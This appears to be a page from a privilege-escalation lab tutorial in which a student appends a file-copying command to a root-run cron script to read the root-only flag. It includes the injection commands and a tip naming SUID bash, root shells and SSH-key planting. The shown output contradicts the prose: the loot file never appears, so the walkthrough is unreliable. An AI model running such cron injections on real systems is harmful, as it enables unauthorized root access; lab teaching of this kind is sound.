Hijacking the job

Append your command

You do not need to understand what backup.sh already does. You only need to add a line of your own to the end of it. Anything you add runs as root on the next tick. Here you tell it to copy the root-only flag somewhere you can read:

echo 'cp /root/root.txt /home/student/loot.txt; chmod 644 /home/student/loot.txt' >> /opt/backup/backup.sh
tail -n2 /opt/backup/backup.sh

In the terminal (your line is now part of the script root runs every minute)

student@vulntech:~$ echo 'cp /root/root.txt /home/student/loot.txt; chmod 644 /home/student/loot.txt' >> /opt/backup/backup.sh
student@vulntech:~$ tail -n2 /opt/backup/backup.sh
tar czf /opt/backup/etc.tar.gz /etc 2>/dev/null
cp /root/root.txt /home/student/loot.txt; chmod 644 /home/student/loot.txt

Wait for the tick

Now wait up to a minute for cron to run the script as root. When it does, your copy of the flag appears — owned by root but readable by you:

sleep 75
ls -l /home/student/loot.txt
cat /home/student/loot.txt

In the terminal (the file was created by root running your injected command)

student@vulntech:~$ sleep 75
student@vulntech:~$ ls -l /home/student/loot.txt
ls: cannot access '/home/student/loot.txt': No such file or directory
student@vulntech:~$ cat /home/student/loot.txt
cat: /home/student/loot.txt: No such file or directory

Tip: A real attacker would do something stealthier — drop a root shell, add an SSH key, or copy /bin/bash and make it SUID. The principle is the same: if root runs a file you can write, you run as root.